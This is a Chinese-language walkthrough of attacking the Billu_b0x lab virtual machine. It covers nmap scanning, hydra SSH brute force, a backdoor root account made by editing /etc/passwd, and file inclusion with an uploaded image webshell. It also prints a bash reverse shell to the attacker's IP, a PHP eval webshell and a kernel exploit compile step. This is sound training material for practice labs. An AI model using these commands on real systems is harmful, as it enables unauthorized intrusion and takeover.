文章目录
实验环境
靶机: Billu_b0x——192.168.137.130
攻击机: Kali——192.168.137.128
工具: Nmap、dirb、NetCat(nc)、BurpSuit、Sqlmap、whatweb、Xshell等
实验步骤
一、信息收集
1.1 扫描主机所在网段进行主机发现
nmap -sP 192.168.137.0/24
排除法确定靶机ip为:192.168.137.130
1.2 端口扫描
开启了22(ssh服务)、80(http服务)端口
1.3 网站指纹信息扫描(whatweb)
1.4 dirb爆破Web目录
dirb 192.168.137.130
之后我用dirbuster又扫描了一遍:
二、web渗透
2.1 ssh爆破并获取shell
hydra -L /usr/share/wordlists/user.txt -P /usr/share/wordlists/password.txt -vV -t4 192.168.137.130 ssh
将用户名和密码都爆破出来了。
ssh登陆,可以成功拿到root权限
创建用户hacker,密码为hacker:
useradd hacker
passwd hacker
之后进入/etc/passwd下修改hacker用户的权限值为0 0
还存在一个原始用户ica
我们切换到普通用户ica,之后再切换为hacker:
hacker权限已变为root权限!
一般Linux的默认Web目录都在 /var/www 下,我们可以写入一句话木马shell.php:
2.2 web站点渗透
由于我们已经知道根目录下的文件了,经过尝试,从以下四个站点页面进行渗透:
http://192.168.137.130/index.php
http://192.168.137.130/add.php
http://192.168.137.130/test.php
http://192.168.137.130/phpmy/
2.2.1 index.php(登陆界面)
页面可能存在sql注入,使用sqlmap跑不出来
万能密码admin’ or ‘1’='1#也不起作用,就先放弃!
2.2.2 add.php (空壳文件)
发现无论上传什么文件,都没有任何效果,索性选择主动响应该请求,查看响应包:
貌似不能上传文件,过.
2.2.3 test.php(文件包含可利用)
打开时页面提示’file’ parameter is empty. Please provide file path in ‘file’ parameter,就是file参数为空,需要传入一个参数
并且在in.php页面中可以看到能够进行远程文件包含:
那就好办了:
使用bp将传参方式改为POST
index.php:
过滤了单引号,但还是没法注入,先搁置
c.php:
发现了链接数据库的账号密码:billu
b0x_billu
2.2.4 phpmy (phpmyadmin)
在爆破ssh获得root权限之后我们还发现,/var/www/
下存在一些没扫描出来的文件:
访问phpmy:
在ica_lab
下的auth
中收集到一组用户名和密码:
biLLu\hEx_it
,应该就是登陆界面的账号密码
补充:
默认的phpmyadmin配置文件位于phpmyadmin文件夹下,一般以下两个都是:
phpmyadmin/libraries/config.default.php
./config.inc.php
成功登录:
2.2.5 phpmyadmin挂马
继续phpmyadmin后台测试,尝试挂马
但是两种方式都必须满足三个条件:
1.未限制文件路径
2.当前用户有写文件权限
3.知道网站根目录
2.2.5.1 利用outfile写文件挂马**
首先查看mysql导出的默认路径,如下命令:
show variables like '%secure%'
并且mysql没有限制导出写入文件的路径,
但经过尝试我们没有写入文件的权限
2.2.5.2 利用日志文件挂马
继续试一下日志文件能否挂马,查看全局日志情况
show variables like '%general%';
当前全局日志是关闭状态,且路径已经指定,所以必须是在root权限下,打开全局日志并修改路径
set global general_log = on;
set global general_log_file = '指定路径';
依旧没有权限,放弃
2.2.6 上传图片马进行文件包含并反弹shell
在add user页面中可以上传图片马:
上传之后回到show user中,上传成功!
我们上传的图片马为stray.png
,下面需要用该页面进行文件包含,在此之前我们需要知道上传图片的路径,网站根目录下存在/uploaded_images/
,访问后可以看到我们上传的stray.png
回到panel.php
,选择show user,进行抓包:
修改参数路径为图片所在位置:
load=/uploaded_images/aaa.jpg&continue=continue&hack=phpinfo();
放包后可以在浏览器查看到:证明我们包含成功
此时可以将eval函数改为system函数,用来执行Linux命令,建立反弹shell。重新制作图片马,一句话命令如下:
重新制作图片马(shell.png
)进行上传:
之后继续进行抓包改参数:
测试成功,那就可以用bash来建立反弹shell了,stray值改为以下建立反弹shell命令:
stray=echo "bash -i >& /dev/tcp/192.168.137.128/4444 0>&1" | bash
stray=echo "bash -i >& /dev/tcp/192.168.137.130/4444 0>&1" | bash
在kali上使用nc监听4444端口:
但并没有反弹shell,上网上搜了一下,是需要将我们的数据进行url编码:
成功!
切换之前创建的超级用户hacker,提示需要使用一个terminal环境,使用以下python语句创建一个terminal环境,即可切换至root用户:
python -c 'import pty;pty.spawn("/bin/bash")'
到网站根目录下写马:
echo '<?php eval($_POST['stray']);?>' >>stray.php
可以用蚁剑连接:
三、Linux内核提权
uname -a :
内核版本
cat /etc/issue:
Linux系统版本
linux内核版本为:Linux indishell 3.13.0-32-generic
linux系统版本为:Ubuntu 12.04.5 LTS
在kali下查询对应版本的exp:
searchsploit Ubuntu 12.04
将文件复制,利用Webshell用蚁剑将其上传至网站下
赋予可执行权限:
chmod 777 37292.c
使用gcc编译文件:gcc 37292.c -o exp
,执行即可提权至root权限